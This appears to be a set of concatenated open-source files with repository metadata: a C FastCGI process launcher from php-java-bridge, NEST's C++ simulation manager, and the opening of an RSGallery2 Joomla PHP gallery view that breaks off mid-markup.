SECURITY_ATTRIBUTES sa = { 0 }; STARTUPINFO su_info; char cmd[8192], *pEnv; HANDLE start_proc(char*name) { HANDLE listen_handle; PROCESS_INFORMATION p; listen_handle = CreateNamedPipe(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 8192, 8192, NMPWAIT_WAIT_FOREVER, NULL); if (listen_handle == INVALID_HANDLE_VALUE) die(__LINE__); su_info.hStdInput = listen_handle; SetHandleInformation(su_info.hStdInput, HANDLE_FLAG_INHERIT, TRUE); if(!(CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, pEnv, NULL, &su_info, &p))) die(__LINE__); CloseHandle(p.hThread); CloseHandle(listen_handle); return p.hProcess; } int wait_stdin(void*dummy) { char buf[256]; fgets(buf, sizeof buf, stdin); SetEvent(processes[0]); return 0; } int main(int argc, char **argv) { extern char **environ; HANDLE sem; int children, i, pterm; size_t len, envlen; char *tmp, *php_fcgi_children, **envp, *s, *t, ts[256]; if(argc == 2) usage(); else if(argc<=1) { static char *std_argv[] = {NULL, "php-cgi", "\\\\.\\pipe\\JavaBridge@9667"}; argc = 3; argv = std_argv; } /* teminate all children when launcher gets killed */ if(!(sem = CreateSemaphore(&sa, 1, 1, NULL))) die(__LINE__); SetHandleInformation(sem, HANDLE_FLAG_INHERIT, TRUE); snprintf(ts, sizeof(ts), "_FCGI_SHUTDOWN_EVENT_=%ld", sem); /* windows requires a null terminated block of null terminated env strings */ for(envp=environ,envlen=0; *envp; envp++) envlen+=1+strlen(*envp); envlen++; pEnv = malloc(envlen+strlen(ts)+1); for(t=pEnv,envp=environ; *envp; envp++) for(s=*envp; *t++=*s++; ) ; for(s=ts; *t++=*s++; ) ; *t=0; /* how many processes? */ for(php_fcgi_children=0,envp=environ; *envp; envp++) if(!strncmp("PHP_FCGI_CHILDREN", *envp, 17)) { php_fcgi_children = strchr(*envp, '=')+1; break; } if(!php_fcgi_children) php_fcgi_children="5"; children = atoi(php_fcgi_children); processes = malloc(1+(children*sizeof*processes)); if(!processes) abort(); /* set up process info */ sa.bInheritHandle = TRUE; sa.nLength = sizeof(sa); su_info.cb = sizeof(STARTUPINFO); su_info.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; su_info.wShowWindow = SW_HIDE; su_info.hStdError = INVALID_HANDLE_VALUE; su_info.hStdOutput = INVALID_HANDLE_VALUE; /* change to: launcher.exe '\\\\.\\pipe\\pjb9667' php-cgi -d allow_url_include=On" */ tmp = argv[1]; argv[1] = argv[2]; argv[2] = tmp; /* the command line */ for(*cmd=len=0, i=2, argc-=2; argc--; i++) { len += 3+strlen(argv[i]); if(len>=sizeof(cmd)) abort(); strcat(cmd, "\""); strcat(cmd, argv[i]); strcat(cmd, "\""); if(argc) strcat(cmd, " "); } //fputs(cmd, stderr); /* start the children */ if(!(processes[0] = CreateEvent(NULL, TRUE, FALSE, NULL))) die(__LINE__); if(argv[0]) CreateThread(NULL, 0, wait_stdin, NULL, 0, NULL); for(i=1; i<=children; i++) processes[i]=start_proc(argv[1]); /* until stdin is not available anymore */ while(1) { if((pterm=WaitForMultipleObjects(children+1,processes,FALSE,INFINITE))==WAIT_FAILED) die(__LINE__); pterm-=WAIT_OBJECT_0; if(pterm) processes[pterm]=start_proc(argv[1]); else { for(i=1; i<=children; i++) TerminateProcess(processes[i], -1); return 0; } } return 3; }
micw/php-java-bridge
server/WEB-INF/cgi/launcher.c
C
gpl-2.0
6,291
/* * simulation_manager.cpp * * This file is part of NEST. * * Copyright (C) 2004 The NEST Initiative * * NEST is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * NEST is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with NEST. If not, see <http://www.gnu.org/licenses/>. * */ #include "simulation_manager.h" // C includes: #include <sys/time.h> // C++ includes: #include <vector> // Includes from libnestutil: #include "compose.hpp" // Includes from nestkernel: #include "kernel_manager.h" #include "sibling_container.h" // Includes from sli: #include "dictutils.h" #include "psignal.h" nest::SimulationManager::SimulationManager() : simulating_( false ) , clock_( Time::tic( 0L ) ) , slice_( 0L ) , to_do_( 0L ) , to_do_total_( 0L ) , from_step_( 0L ) , to_step_( 0L ) // consistent with to_do_ == 0 , t_real_( 0L ) , terminate_( false ) , simulated_( false ) , print_time_( false ) , use_wfr_( true ) , wfr_comm_interval_( 1.0 ) , wfr_tol_( 0.0001 ) , wfr_max_iterations_( 15 ) , wfr_interpolation_order_( 3 ) { } void nest::SimulationManager::initialize() { // set resolution, ensure clock is calibrated to new resolution Time::reset_resolution(); clock_.calibrate(); simulated_ = false; } void nest::SimulationManager::finalize() { nest::Time::reset_to_defaults(); clock_.set_to_zero(); // ensures consistent state to_do_ = 0; slice_ = 0; from_step_ = 0; to_step_ = 0; // consistent with to_do_ = 0 } void nest::SimulationManager::set_status( const DictionaryDatum& d ) { // Create an instance of time converter here to capture the current // representation of time objects: TICS_PER_MS and TICS_PER_STEP // will be stored in time_converter. // This object can then be used to convert times in steps // (e.g. Connection::delay_) or tics to the new representation. // We pass this object to ConnectionManager::calibrate to update // all time objects in the connection system to the new representation. // MH 08-04-14 TimeConverter time_converter; double_t time; if ( updateValue< double_t >( d, "time", time ) ) { if ( time != 0.0 ) throw BadProperty( "The simulation time can only be set to 0.0." ); if ( clock_ > TimeZero ) { // reset only if time has passed LOG( M_WARNING, "SimulationManager::set_status", "Simulation time reset to t=0.0. Resetting the simulation time is not " "fully supported in NEST at present. Some spikes may be lost, and " "stimulating devices may behave unexpectedly. PLEASE REVIEW YOUR " "SIMULATION OUTPUT CAREFULLY!" ); clock_ = Time::step( 0 ); from_step_ = 0; slice_ = 0; // clear all old spikes kernel().event_delivery_manager.configure_spike_buffers(); } } updateValue< bool >( d, "print_time", print_time_ ); // tics_per_ms and resolution must come after local_num_thread / // total_num_threads because they might reset the network and the time // representation nest::double_t tics_per_ms = 0.0; bool tics_per_ms_updated = updateValue< nest::double_t >( d, "tics_per_ms", tics_per_ms ); double_t resd = 0.0; bool res_updated = updateValue< double_t >( d, "resolution", resd ); if ( tics_per_ms_updated || res_updated ) { if ( kernel().node_manager.size() > 1 ) // root always exists { LOG( M_ERROR, "SimulationManager::set_status", "Cannot change time representation after nodes have been created. " "Please call ResetKernel first." ); throw KernelException(); } else if ( has_been_simulated() ) // someone may have simulated empty network { LOG( M_ERROR, "SimulationManager::set_status", "Cannot change time representation after the network has been " "simulated. Please call ResetKernel first." ); throw KernelException(); } else if ( kernel().connection_manager.get_num_connections() != 0 ) { LOG( M_ERROR, "SimulationManager::set_status", "Cannot change time representation after connections have been " "created. Please call ResetKernel first." ); throw KernelException(); } else if ( res_updated && tics_per_ms_updated ) // only allow TICS_PER_MS to // be changed together with // resolution { if ( resd < 1.0 / tics_per_ms ) { LOG( M_ERROR, "SimulationManager::set_status", "Resolution must be greater than or equal to one tic. Value " "unchanged." ); throw KernelException(); } else { nest::Time::set_resolution( tics_per_ms, resd ); // adjust to new resolution clock_.calibrate(); // adjust delays in the connection system to new resolution kernel().connection_manager.calibrate( time_converter ); kernel().model_manager.calibrate( time_converter ); LOG( M_INFO, "SimulationManager::set_status", "tics per ms and resolution changed." ); // make sure that wfr communication interval is always greater or equal // to resolution if no wfr is used explicitly set wfr_comm_interval // to resolution because communication in every step is needed if ( wfr_comm_interval_ < Time::get_resolution().get_ms() || not use_wfr_ ) { wfr_comm_interval_ = Time::get_resolution().get_ms(); } } } else if ( res_updated ) // only resolution changed { if ( resd < Time::get_ms_per_tic() ) { LOG( M_ERROR, "SimulationManager::set_status", "Resolution must be greater than or equal to one tic. Value " "unchanged." ); throw KernelException(); } else { Time::set_resolution( resd ); clock_.calibrate(); // adjust to new resolution // adjust delays in the connection system to new resolution kernel().connection_manager.calibrate( time_converter ); kernel().model_manager.calibrate( time_converter ); LOG( M_INFO, "SimulationManager::set_status", "Temporal resolution changed." ); // make sure that wfr communication interval is always greater or equal // to resolution if no wfr is used explicitly set wfr_comm_interval // to resolution because communication in every step is needed if ( wfr_comm_interval_ < Time::get_resolution().get_ms() || not use_wfr_ ) { wfr_comm_interval_ = Time::get_resolution().get_ms(); } } } else { LOG( M_ERROR, "SimulationManager::set_status", "change of tics_per_step requires simultaneous specification of " "resolution." ); throw KernelException(); } } // The decision whether the waveform relaxation is used // must be set before nodes are created. // Important: wfr_comm_interval_ may change depending on use_wfr_ bool wfr; if ( updateValue< bool >( d, "use_wfr", wfr ) ) { if ( kernel().node_manager.size() > 1 ) { LOG( M_ERROR, "SimulationManager::set_status", "Cannot enable/disable usage of waveform relaxation after nodes have " "been created. Please call ResetKernel first." ); throw KernelException(); } else { use_wfr_ = wfr; // if no wfr is used explicitly set wfr_comm_interval to resolution // because communication in every step is needed if ( not use_wfr_ ) { wfr_comm_interval_ = Time::get_resolution().get_ms(); } } } // wfr_comm_interval_ can only be changed if use_wfr_ is true and before // connections are created. If use_wfr_ is false wfr_comm_interval_ is set to // the resolution whenever the resolution changes. double_t wfr_interval; if ( updateValue< double_t >( d, "wfr_comm_interval", wfr_interval ) ) { if ( not use_wfr_ ) { LOG( M_ERROR, "SimulationManager::set_status", "Cannot set waveform communication interval when usage of waveform " "relaxation is disabled. Set use_wfr to true first." ); throw KernelException(); } else if ( kernel().connection_manager.get_num_connections() != 0 ) { LOG( M_ERROR, "SimulationManager::set_status", "Cannot change waveform communication interval after connections have " "been created. Please call ResetKernel first." ); throw KernelException(); } else if ( wfr_interval < Time::get_resolution().get_ms() ) { LOG( M_ERROR, "SimulationManager::set_status", "Communication interval of the waveform relaxation must be greater or " "equal to the resolution of the simulation." ); throw KernelException(); } else { LOG( M_INFO, "SimulationManager::set_status", "Waveform communication interval changed successfully. " ); wfr_comm_interval_ = wfr_interval; } } // set the convergence tolerance for the waveform relaxation method double_t tol; if ( updateValue< double_t >( d, "wfr_tol", tol ) ) { if ( tol < 0.0 ) LOG( M_ERROR, "SimulationManager::set_status", "Tolerance must be zero or positive" ); else wfr_tol_ = tol; } // set the maximal number of iterations for the waveform relaxation method long max_iter; if ( updateValue< long >( d, "wfr_max_iterations", max_iter ) ) { if ( max_iter <= 0 ) LOG( M_ERROR, "SimulationManager::set_status", "Maximal number of iterations for the waveform relaxation must be " "positive. To disable waveform relaxation set use_wfr instead." ); else wfr_max_iterations_ = max_iter; } // set the interpolation order for the waveform relaxation method long interp_order; if ( updateValue< long >( d, "wfr_interpolation_order", interp_order ) ) { if ( ( interp_order < 0 ) || ( interp_order == 2 ) || ( interp_order > 3 ) ) LOG( M_ERROR, "SimulationManager::set_status", "Interpolation order must be 0, 1, or 3." ); else wfr_interpolation_order_ = interp_order; } } void nest::SimulationManager::get_status( DictionaryDatum& d ) { def< double >( d, "ms_per_tic", Time::get_ms_per_tic() ); def< double >( d, "tics_per_ms", Time::get_tics_per_ms() ); def< long >( d, "tics_per_step", Time::get_tics_per_step() ); def< double >( d, "resolution", Time::get_resolution().get_ms() ); def< double >( d, "T_min", Time::min().get_ms() ); def< double >( d, "T_max", Time::max().get_ms() ); def< double_t >( d, "time", get_time().get_ms() ); def< long >( d, "to_do", to_do_ ); def< bool >( d, "print_time", print_time_ ); def< bool >( d, "use_wfr", use_wfr_ ); def< double >( d, "wfr_comm_interval", wfr_comm_interval_ ); def< double >( d, "wfr_tol", wfr_tol_ ); def< long >( d, "wfr_max_iterations", wfr_max_iterations_ ); def< long >( d, "wfr_interpolation_order", wfr_interpolation_order_ ); } void nest::SimulationManager::simulate( Time const& t ) { assert( kernel().is_initialized() ); t_real_ = 0; t_slice_begin_ = timeval(); t_slice_end_ = timeval(); if ( t == Time::ms( 0.0 ) ) return; if ( t < Time::step( 1 ) ) { LOG( M_ERROR, "SimulationManager::simulate", String::compose( "Simulation time must be >= %1 ms (one time step).", Time::get_resolution().get_ms() ) ); throw KernelException(); } if ( t.is_finite() ) { Time time1 = clock_ + t; if ( !time1.is_finite() ) { std::string msg = String::compose( "A clock overflow will occur after %1 of %2 ms. Please reset network " "clock first!", ( Time::max() - clock_ ).get_ms(), t.get_ms() ); LOG( M_ERROR, "SimulationManager::simulate", msg ); throw KernelException(); } } else { std::string msg = String::compose( "The requested simulation time exceeds the largest time NEST can handle " "(T_max = %1 ms). Please use a shorter time!", Time::max().get_ms() ); LOG( M_ERROR, "SimulationManager::simulate", msg ); throw KernelException(); } to_do_ += t.get_steps(); to_do_total_ = to_do_; const size_t num_active_nodes = prepare_simulation_(); // from_step_ is not touched here. If we are at the beginning // of a simulation, it has been reset properly elsewhere. If // a simulation was ended and is now continued, from_step_ will // have the proper value. to_step_ is set as in advance_time(). delay end_sim = from_step_ + to_do_; if ( kernel().connection_manager.get_min_delay() < end_sim ) to_step_ = kernel() .connection_manager.get_min_delay(); // update to end of time slice else to_step_ = end_sim; // update to end of simulation time // Warn about possible inconsistencies, see #504. // This test cannot come any earlier, because we first need to compute // min_delay_ // above. if ( t.get_steps() % kernel().connection_manager.get_min_delay() != 0 ) LOG( M_WARNING, "SimulationManager::simulate", "The requested simulation time is not an integer multiple of the minimal " "delay in the network. This may result in inconsistent results under the " "following conditions: (i) A network contains more than one source of " "randomness, e.g., two different poisson_generators, and (ii) Simulate " "is called repeatedly with simulation times that are not multiples of " "the minimal delay." ); resume_( num_active_nodes ); finalize_simulation_(); } void nest::SimulationManager::resume_( size_t num_active_nodes ) { assert( kernel().is_initialized() ); std::ostringstream os; double_t t_sim = to_do_ * Time::get_resolution().get_ms(); os << "Number of local nodes: " << num_active_nodes << std::endl; os << "Simulaton time (ms): " << t_sim; #ifdef _OPENMP os << std::endl << "Number of OpenMP threads: " << kernel().vp_manager.get_num_threads(); #else os << std::endl << "Not using OpenMP"; #endif #ifdef HAVE_MPI os << std::endl << "Number of MPI processes: " << kernel().mpi_manager.get_num_processes(); #else os << std::endl << "Not using MPI"; #endif LOG( M_INFO, "SimulationManager::resume", os.str() ); terminate_ = false; if ( to_do_ == 0 ) return; if ( print_time_ ) { // TODO: Remove direct output std::cout << std::endl; print_progress_(); } simulating_ = true; simulated_ = true; update_(); simulating_ = false; if ( print_time_ ) std::cout << std::endl; kernel().mpi_manager.synchronize(); if ( terminate_ ) { LOG( M_ERROR, "SimulationManager::resume", "Exiting on error or user signal." ); LOG( M_ERROR, "SimulationManager::resume", "SimulationManager: Use 'ResumeSimulation' to resume." ); if ( SLIsignalflag != 0 ) { SystemSignal signal( SLIsignalflag ); SLIsignalflag = 0; throw signal; } else throw SimulationError(); } LOG( M_INFO, "SimulationManager::resume", "Simulation finished." ); } size_t nest::SimulationManager::prepare_simulation_() { assert( to_do_ != 0 ); // This is checked in simulate() // find shortest and longest delay across all MPI processes // this call sets the member variables kernel().connection_manager.update_delay_extrema_(); kernel().event_delivery_manager.init_moduli(); // Check for synchronicity of global rngs over processes. // We need to do this ahead of any simulation in case random numbers // have been consumed on the SLI level. if ( kernel().mpi_manager.get_num_processes() > 1 ) { if ( !kernel().mpi_manager.grng_synchrony( kernel().rng_manager.get_grng()->ulrand( 100000 ) ) ) { LOG( M_ERROR, "SimulationManager::simulate", "Global Random Number Generators are not synchronized prior to " "simulation." ); throw KernelException(); } } // if at the beginning of a simulation, set up spike buffers if ( !simulated_ ) kernel().event_delivery_manager.configure_spike_buffers(); kernel().node_manager.ensure_valid_thread_local_ids(); const size_t num_active_nodes = kernel().node_manager.prepare_nodes(); kernel().model_manager.create_secondary_events_prototypes(); // we have to do enter_runtime after prepre_nodes, since we use // calibrate to map the ports of MUSIC devices, which has to be done // before enter_runtime if ( !simulated_ ) // only enter the runtime mode once { double tick = Time::get_resolution().get_ms() * kernel().connection_manager.get_min_delay(); kernel().music_manager.enter_runtime( tick ); } return num_active_nodes; } bool nest::SimulationManager::wfr_update_( Node* n ) { return ( n->wfr_update( clock_, from_step_, to_step_ ) ); } void nest::SimulationManager::update_() { // to store done values of the different threads std::vector< bool > done; bool done_all = true; delay old_to_step; std::vector< lockPTR< WrappedThreadException > > exceptions_raised( kernel().vp_manager.get_num_threads() ); // parallel section begins #pragma omp parallel { const int thrd = kernel().vp_manager.get_thread_id(); do { if ( print_time_ ) gettimeofday( &t_slice_begin_, NULL ); if ( kernel().sp_manager.is_structural_plasticity_enabled() && ( clock_.get_steps() + from_step_ ) % kernel().sp_manager.get_structural_plasticity_update_interval() == 0 ) { for ( std::vector< Node* >::const_iterator i = kernel().node_manager.get_nodes_on_thread( thrd ).begin(); i != kernel().node_manager.get_nodes_on_thread( thrd ).end(); ++i ) { ( *i )->update_synaptic_elements( Time( Time::step( clock_.get_steps() + from_step_ ) ).get_ms() ); } #pragma omp barrier #pragma omp single { kernel().sp_manager.update_structural_plasticity(); } // Remove 10% of the vacant elements for ( std::vector< Node* >::const_iterator i = kernel().node_manager.get_nodes_on_thread( thrd ).begin(); i != kernel().node_manager.get_nodes_on_thread( thrd ).end(); ++i ) { ( *i )->decay_synaptic_elements_vacant(); } } if ( from_step_ == 0 ) // deliver only at beginning of slice { kernel().event_delivery_manager.deliver_events( thrd ); #ifdef HAVE_MUSIC // advance the time of music by one step (min_delay * h) must // be done after deliver_events_() since it calls // music_event_out_proxy::handle(), which hands the spikes over to // MUSIC *before* MUSIC time is advanced // wait until all threads are done -> synchronize #pragma omp barrier // the following block is executed by the master thread only // the other threads are enforced to wait at the end of the block #pragma omp master { // advance the time of music by one step (min_delay * h) must // be done after deliver_events_() since it calls // music_event_out_proxy::handle(), which hands the spikes over to // MUSIC *before* MUSIC time is advanced if ( slice_ > 0 ) kernel().music_manager.advance_music_time(); // the following could be made thread-safe kernel().music_manager.update_music_event_handlers( clock_, from_step_, to_step_ ); } // end of master section, all threads have to synchronize at this point #pragma omp barrier #endif } // preliminary update of nodes that use waveform relaxtion if ( kernel().node_manager.any_node_uses_wfr() ) { #pragma omp single { // if the end of the simulation is in the middle // of a min_delay_ step, we need to make a complete // step in the wfr_update and only do // the partial step in the final update // needs to be done in omp single since to_step_ is a scheduler // variable old_to_step = to_step_; if ( to_step_ < kernel().connection_manager.get_min_delay() ) to_step_ = kernel().connection_manager.get_min_delay(); } bool max_iterations_reached = true; const std::vector< Node* >& thread_local_wfr_nodes = kernel().node_manager.get_wfr_nodes_on_thread( thrd ); for ( long_t n = 0; n < wfr_max_iterations_; ++n ) { bool done_p = true; // this loop may be empty for those threads // that do not have any nodes requiring wfr_update for ( std::vector< Node* >::const_iterator i = thread_local_wfr_nodes.begin(); i != thread_local_wfr_nodes.end(); ++i ) done_p = wfr_update_( *i ) && done_p; // add done value of thread p to done vector #pragma omp critical done.push_back( done_p ); // parallel section ends, wait until all threads are done -> synchronize #pragma omp barrier // the following block is executed by a single thread // the other threads wait at the end of the block #pragma omp single { // set done_all for ( size_t i = 0; i < done.size(); i++ ) done_all = done[ i ] && done_all; // gather SecondaryEvents (e.g. GapJunctionEvents) kernel().event_delivery_manager.gather_events( done_all ); // reset done and done_all //(needs to be in the single threaded part) done_all = true; done.clear(); } // deliver SecondaryEvents generated during wfr_update // returns the done value over all threads done_p = kernel().event_delivery_manager.deliver_events( thrd ); if ( done_p ) { max_iterations_reached = false; break; } } // of for (wfr_max_iterations) ... #pragma omp single { to_step_ = old_to_step; if ( max_iterations_reached ) { std::string msg = String::compose( "Maximum number of iterations reached at interval %1-%2 ms", clock_.get_ms(), clock_.get_ms() + to_step_ * Time::get_resolution().get_ms() ); LOG( M_WARNING, "SimulationManager::wfr_update", msg ); } } } // of if(any_node_uses_wfr) // end of preliminary update const std::vector< Node* >& thread_local_nodes = kernel().node_manager.get_nodes_on_thread( thrd ); for ( std::vector< Node* >::const_iterator node = thread_local_nodes.begin(); node != thread_local_nodes.end(); ++node ) { // We update in a parallel region. Therefore, we need to catch // exceptions here and then handle them after the parallel region. try { if ( not( *node )->is_frozen() ) ( *node )->update( clock_, from_step_, to_step_ ); } catch ( std::exception& e ) { // so throw the exception after parallel region exceptions_raised.at( thrd ) = lockPTR< WrappedThreadException >( new WrappedThreadException( e ) ); terminate_ = true; } } // parallel section ends, wait until all threads are done -> synchronize #pragma omp barrier // the following block is executed by the master thread only // the other threads are enforced to wait at the end of the block #pragma omp master { // gather only at end of slice if ( to_step_ == kernel().connection_manager.get_min_delay() ) kernel().event_delivery_manager.gather_events( true ); advance_time_(); if ( SLIsignalflag != 0 ) { LOG( M_INFO, "SimulationManager::update", "Simulation exiting on user signal." ); terminate_ = true; } if ( print_time_ ) { gettimeofday( &t_slice_end_, NULL ); print_progress_(); } } // end of master section, all threads have to synchronize at this point #pragma omp barrier } while ( ( to_do_ != 0 ) && ( !terminate_ ) ); // End of the slice, we update the number of synaptic element for ( std::vector< Node* >::const_iterator i = kernel().node_manager.get_nodes_on_thread( thrd ).begin(); i != kernel().node_manager.get_nodes_on_thread( thrd ).end(); ++i ) { ( *i )->update_synaptic_elements( Time( Time::step( clock_.get_steps() + to_step_ ) ).get_ms() ); } } // end of #pragma parallel omp // check if any exceptions have been raised for ( index thrd = 0; thrd < kernel().vp_manager.get_num_threads(); ++thrd ) if ( exceptions_raised.at( thrd ).valid() ) throw WrappedThreadException( *( exceptions_raised.at( thrd ) ) ); } void nest::SimulationManager::finalize_simulation_() { if ( not simulated_ ) return; // Check for synchronicity of global rngs over processes // TODO: This seems double up, there is such a test at end of simulate() if ( kernel().mpi_manager.get_num_processes() > 1 ) if ( !kernel().mpi_manager.grng_synchrony( kernel().rng_manager.get_grng()->ulrand( 100000 ) ) ) { LOG( M_ERROR, "SimulationManager::simulate", "Global Random Number Generators are not synchronized after " "simulation." ); throw KernelException(); } kernel().node_manager.finalize_nodes(); } void nest::SimulationManager::reset_network() { if ( not has_been_simulated() ) return; // nothing to do kernel().event_delivery_manager.clear_pending_spikes(); kernel().node_manager.reset_nodes_state(); // ConnectionManager doesn't support resetting dynamic synapses yet LOG( M_WARNING, "SimulationManager::ResetNetwork", "Synapses with internal dynamics (facilitation, STDP) are not reset.\n" "This will be implemented in a future version of NEST." ); } void nest::SimulationManager::advance_time_() { // time now advanced time by the duration of the previous step to_do_ -= to_step_ - from_step_; // advance clock, update modulos, slice counter only if slice completed if ( ( delay ) to_step_ == kernel().connection_manager.get_min_delay() ) { clock_ += Time::step( kernel().connection_manager.get_min_delay() ); ++slice_; kernel().event_delivery_manager.update_moduli(); from_step_ = 0; } else from_step_ = to_step_; long_t end_sim = from_step_ + to_do_; if ( kernel().connection_manager.get_min_delay() < ( delay ) end_sim ) // update to end of time slice to_step_ = kernel().connection_manager.get_min_delay(); else to_step_ = end_sim; // update to end of simulation time assert( to_step_ - from_step_ <= ( long_t ) kernel().connection_manager.get_min_delay() ); } void nest::SimulationManager::print_progress_() { double_t rt_factor = 0.0; if ( t_slice_end_.tv_sec != 0 ) { // usec long t_real_s = ( t_slice_end_.tv_sec - t_slice_begin_.tv_sec ) * 1e6; // usec t_real_ += t_real_s + ( t_slice_end_.tv_usec - t_slice_begin_.tv_usec ); // ms double_t t_real_acc = ( t_real_ ) / 1000.; double_t t_sim_acc = ( to_do_total_ - to_do_ ) * Time::get_resolution().get_ms(); rt_factor = t_sim_acc / t_real_acc; } int_t percentage = ( 100 - int( float( to_do_ ) / to_do_total_ * 100 ) ); std::cout << "\r" << std::setw( 3 ) << std::right << percentage << " %: " << "network time: " << std::fixed << std::setprecision( 1 ) << clock_.get_ms() << " ms, " << "realtime factor: " << std::setprecision( 4 ) << rt_factor << std::resetiosflags( std::ios_base::floatfield ); std::flush( std::cout ); } // inline nest::Time const nest::SimulationManager::get_previous_slice_origin() const { return clock_ - Time::step( kernel().connection_manager.get_min_delay() ); }
obreitwi/nest-simulator
nestkernel/simulation_manager.cpp
C++
gpl-2.0
28,673
<?php /** * This file contains xxxxxxxxxxxxxxxxxxxxxxxxxxx. * @version xxx * @package RSGallery2 * @copyright (C) 2003 - 2006 RSGallery2 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL * RSGallery is Free Software */ defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' ); class myGalleries { function myGalleries() { } /** * This presents the main My Galleries page * @param array Result array with category details for logged in users * @param array Result array with image details for logged in users * @param array Result array with pagenav information */ function viewMyGalleriesPage($rows, $images, $pageNav) { global $rsgConfig,$mainframe; $my = JFactory::getUser(); $database = JFactory::getDBO(); if (!$rsgConfig->get('show_mygalleries')) $mainframe->redirect( $this->myg_url,JText::_('User galleries was disabled by the administrator.')); ?> <div class="rsg2"> <h2><?php echo JText::_('My galleries');?></h2> <?php //Show User information myGalleries::RSGalleryUSerInfo($my->id); //Start tabs jimport("joomla.html.pane"); $tabs =& JPane::getInstance("Tabs"); echo $tabs->startPane( 'tabs' ); echo $tabs->startPanel( JText::_('My Images'), 'my_images' ); myGalleries::showMyImages($images, $pageNav); myGalleries::showImageUpload(); echo $tabs->endPanel(); if ($rsgConfig->get('uu_createCat')) { echo $tabs->startPanel( JText::_('My galleries'), 'my_galleries' ); myGalleries::showMyGalleries($rows); myGalleries::showCreateGallery(NULL); echo $tabs->endPanel(); } echo $tabs->endPane(); ?> </div> <div class='rsg2-clr'>&nbsp;</div> <?php } function showCreateGallery($rows) { global $rsgConfig; $my = JFactory::getUser(); $editor =& JFactory::getEditor(); //Load frontend toolbar class require_once( JPATH_ROOT . '/includes/HTML_toolbar.php' ); ?> <script type="text/javascript"> function submitbutton(pressbutton) { var form = document.form1; if (pressbutton == 'cancel') { form.reset(); return; } <?php echo $editor->save('description') ; ?> // do field validation if (form.parent.value == "-1") { alert( "<?php echo JText::_('** You need to select a parent gallery **'); ?>" ); } else if (form.catname1.value == "") { alert( "<?php echo JText::_('You must provide a gallery name.'); ?>" ); } else if (form.description.value == ""){ alert( "<?php echo JText::_('You must provide a description.'); ?>" ); } else{ form.submit(); } } </script> <?php if ($rows) { foreach ($rows as $row){ $catname = $row->name; $description = $row->description; $ordering = $row->ordering; $uid = $row->uid; $catid = $row->id; $published = $row->published; $user = $row->user; $parent = $row->parent; } } else{ $catname = ""; $description = ""; $ordering = ""; $uid = ""; $catid = ""; $published = ""; $user = ""; $parent = 0; } ?> <form name="form1" id="form1" method="post" action="<?php echo JRoute::_("index.php?option=com_rsgallery2&rsgOption=myGalleries&task=saveCat"); ?>"> <table width="100%"> <tr> <td colspan="2"><h3><?php echo JText::_('Create Gallery'); ?></h3></td> </tr> <tr> <td align="right"> <div style="float: right;"> <?php // Toolbar mosToolBar::startTable(); mosToolBar::save(); mosToolBar::cancel(); mosToolBar::endtable(); ?> </div> </td> </tr> </table> <input type="hidden" name="catid" value="<?php echo $catid; ?>" /> <input type="hidden" name="ordering" value="<?php echo $ordering; ?>" /> <table class="adminlist" border="1"> <tr> <th colspan="2"><?php echo JText::_('Create Gallery'); ?></th> </tr> <tr> <td><?php echo JText::_('Top gallery');?></td> <td> <?php if (!$rsgConfig->get('acl_enabled')) { galleryUtils::showCategories(NULL, $my->id, 'parent'); } else { galleryUtils::showUserGalSelectList('up_mod_img', 'parent'); } ?> </td> </tr> <tr> <td><?php echo JText::_('Gallery name'); ?></td> <td align="left"><input type="text" name="catname1" size="30" value="<?php echo $catname; ?>" /></td> </tr> <tr> <td><?php echo JText::_('Description'); ?></td> <td align="left"> <?php echo $editor->display( 'description', $description , '100%', '200', '10', '20' ,false) ; ?> </td> </tr> <tr> <td><?php echo JText::_('Published'); ?></td> <td align="left"><input type="checkbox" name="published" value="1" <?php if ($published==1) echo "checked"; ?> /></td> </tr> </table> </form> <?php } /** * Displays details about the logged in user and the privileges he/she has * $param integer User ID from Joomla user table */ function RSGalleryUserInfo($id) { global $rsgConfig; $my = JFactory::getUser(); if ($my->usertype == "Super Administrator" OR $my->usertype == "Administrator") { $maxcat = "unlimited"; $max_images = "unlimited"; } else { $maxcat = $rsgConfig->get('uu_maxCat'); $max_images = $rsgConfig->get('uu_maxImages'); } ?> <table class="adminform" border="1"> <tr> <th colspan="2"><?php echo JText::_('User information'); ?></th> </tr> <tr> <td width="250"><?php echo JText::_('Username'); ?></td> <td><?php echo $my->username;?></td> </tr> <tr> <td><?php echo JText::_('User level'); ?></td> <td><?php echo $my->usertype;?></td> </tr> <tr> <td><?php echo JText::_('Maximum usergalleries'); ?></td> <td><?php echo $maxcat;?>&nbsp;&nbsp;(<font color="#008000"><strong><?php echo galleryUtils::userCategoryTotal($my->id);?></strong></font> <?php echo JText::_('created)');?></td> </tr> <tr> <td><?php echo JText::_('Maximum images allowed'); ?></td> <td><?php echo $max_images;?>&nbsp;&nbsp;(<font color="#008000"><strong><?php echo galleryUtils::userImageTotal($my->id);?></strong></font> <?php echo JText::_('uploaded)'); ?></td> </tr> <tr> <th colspan="2"></th> </tr> </table> <br><br> <?php } function showImageUpload() { global $rsgConfig; $my = JFactory::getUser(); $editor = JFactory::getEditor(); //Load frontend toolbar class require_once( JPATH_ROOT . '/includes/HTML_toolbar.php' ); ?> <script type="text/javascript"> function submitbuttonImage(pressbutton) { var form = document.uploadForm; if (pressbutton == 'cancel') { form.reset(); return; } <?php echo $editor->save('descr') ; ?> // do field validation if (form.i_cat.value == "-1") { alert( "<?php echo JText::_('You must select a gallery.'); ?>" ); } else if (form.i_cat.value == "0") { alert( "<?php echo JText::_('You must select a gallery.'); ?>" ); } else if (form.i_file.value == "") { alert( "<?php echo JText::_('You must provide a file to upload.'); ?>" ); } else { form.submit(); } } </script> <form name="uploadForm" id="uploadForm" method="post" action=" <?php echo JRoute::_("index.php?option=com_rsgallery2&rsgOption=myGalleries&task=saveUploadedItem"); ?>" enctype="multipart/form-data"> <div 